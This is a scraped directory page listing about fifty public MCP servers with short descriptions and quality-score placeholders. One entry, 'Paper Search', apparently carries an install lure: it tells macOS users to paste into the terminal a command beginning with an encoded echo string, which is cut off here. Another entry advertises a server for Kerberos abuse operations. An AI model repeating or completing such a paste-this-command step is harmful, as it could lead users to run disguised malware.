MCP Server Quality Scores
Independent quality analysis of 58073 public MCP servers
Last updated 44 minutes ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ○ Unscored | ||||||||||
| 54551 |
revula
Claim
Production-grade MCP server for universal reverse engineering automation.
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| 54552 |
mcp-weather-server
Claim
Provides current weather information for any city using the Open-Meteo API. Ret…
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| 54553 |
Enables managing employee leave requests (apply, view, list leaves) through Cla…
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| 54554 |
nexonco-mcp
Claim
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| 54555 |
fillin
Claim
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| 54556 |
mcp
Claim
Inspect and manage Verlon AI gates, logs, recommendations, and experiments from…
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| 54557 |
MCP server for Fortnox Swedish accounting API integration
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| 54558 |
Webustler
Claim
Enables clean, LLM-ready markdown extraction from any URL with automatic anti-b…
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| 54559 |
Computer Use MCP Server
Claim
A production-grade macOS MCP server exposing 33 tools for full desktop automati…
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| 54560 |
Paper Search
Claim
Important!
To install, open the MacOS terminal and enter the command: echo 'L2…
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| 54561 |
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
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| 54562 |
MCP-SERVER
Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
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| 54563 |
IDMS Identity SQL MCP
Claim
Enables SQL-based identity lookups for IDMS systems, supporting search by accou…
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| 54564 |
investbuddy
Claim
LSTM stock predictions with +15.92% alpha over S&P 500. 10-day forecasts & port…
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| 54565 |
Exposes structured code generation tools via MCP protocol, enabling users to ge…
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| 54566 |
prelaunch-mcp
Claim
Analyzes startup ideas against 6 sources (GitHub, HN, npm, PyPI, Google, Reddit…
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| 54567 |
a-share-mcp
Claim
提供A股实时行情、历史K线、财务报表、技术指标等全方位数据查询的MCP服务器,支持盘中即时更新及批量查询。
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| 54568 |
Kaspa MCP Server
Claim
Model Context Protocol server for Kaspa operations using WASM SDK. Enables LLMs…
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| 54569 |
soapstone
Claim
Context-anchored gotcha notes for LLM agents that surface warnings at the point…
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| 54570 |
MMWRAG
Claim
Bilingual RAG for scientific literature with search-only MCP server. Enables hy…
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| 54571 |
Read and write a self-hosted TriliumNext knowledge base over its ETAPI.
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| 54572 |
PA MCP Server
Claim
Enables interaction with Palo Alto Networks firewalls via XML API for configura…
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| 54573 |
apidog-mcp
Claim
An MCP server for Apidog that enables listing projects, inspecting API trees, c…
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| 54574 |
Cortex Hub
Claim
Self-hosted AI Agent Memory + Code Intelligence Platform providing persistent m…
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| 54575 |
token-meter
Claim
Local-first dashboard + MCP server for Claude Code and Codex token usage. Cost,…
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| 54576 |
allcanuse-mcp
Claim
A MCP server for Windows/Linux that provides 90+ tools enabling AI assistants t…
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| 54577 |
cdcx
Claim
MCP server for the Crypto.com Exchange API, providing 86 dynamically generated …
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| 54578 |
mcp-server
Claim
Enables AI models to interact with local CSV and Parquet data through MCP tools…
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| 54579 |
mcp-gwansang
Claim
Extracts deterministic facial features from photos locally using MediaPipe, ret…
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| 54580 |
RobotFail MCP Server
Claim
Enables AI agents to submit projects, track tasks, and manage work on RobotFail…
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| 54581 |
Rubeus MCP Server
Claim
A Model Context Protocol (MCP) server for Kerberos abuse operations using Rubeu…
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| 54582 |
test3
Claim
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| 54583 |
An MCP server that provides access to [Polygon.io](https://polygon.io/) financi…
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| 54584 |
build123d-mcp
Claim
MCP server that exposes build123d parametric CAD operations as tools, enabling …
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| 54585 |
Cordalux MCP Server
Claim
An enterprise-grade Model Context Protocol server that consolidates multiple ap…
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| 54586 |
Brain OS
Claim
Persistent operational state for AI agents. Decisions, plans, priorities, and p…
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| 54587 |
AssemblyLine MCP
Claim
Enables AI clients to submit files, hashes, and URLs for malware analysis, retr…
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| 54588 |
Manage LemonLDAP::NG SSO instances: configuration, sessions, OIDC, SAML, 2FA.
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| 54589 |
arcscope
Claim
A local MCP server that gives AI coding agents symbol definitions, dependency g…
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| 54590 |
Mnemic
Claim
Local-first memory kernel for coding agents that provides a shared, auditable, …
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| 54591 |
mcp-confluence
Claim
Enables searching, reading, listing, creating, and updating Confluence pages vi…
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| 54592 |
archy
Claim
Architectural sensor for Python codebases.
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| 54593 |
eve-sde-mcp
Claim
MCP server providing read-only access to Eve Online's Static Data Export (SDE),…
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| 54594 |
mcp-japan-law
Claim
Enables querying Japanese national laws and ordinances via the e-Gov Law API, a…
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| 54595 |
mnemonic
Claim
MCP server for on-device hybrid search over markdown knowledge bases, combining…
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| 54596 |
AgentVault MCP Server
Claim
Enables AI agents to manage secrets and credentials from a secure vault via MCP…
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| 54597 |
Pay-per-call AI + web + on-chain tools over x402 (USDC on Base): LLM, SEO, extr…
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| 54598 |
mcp server for weather information query
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| 54599 |
Jamot MCP
Claim
An MCP server that turns AI agents into a coordination brain for human teams — …
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| 54600 |
figma-drive
Claim
Exports frames from Figma and uploads them to Google Drive, with automated fold…
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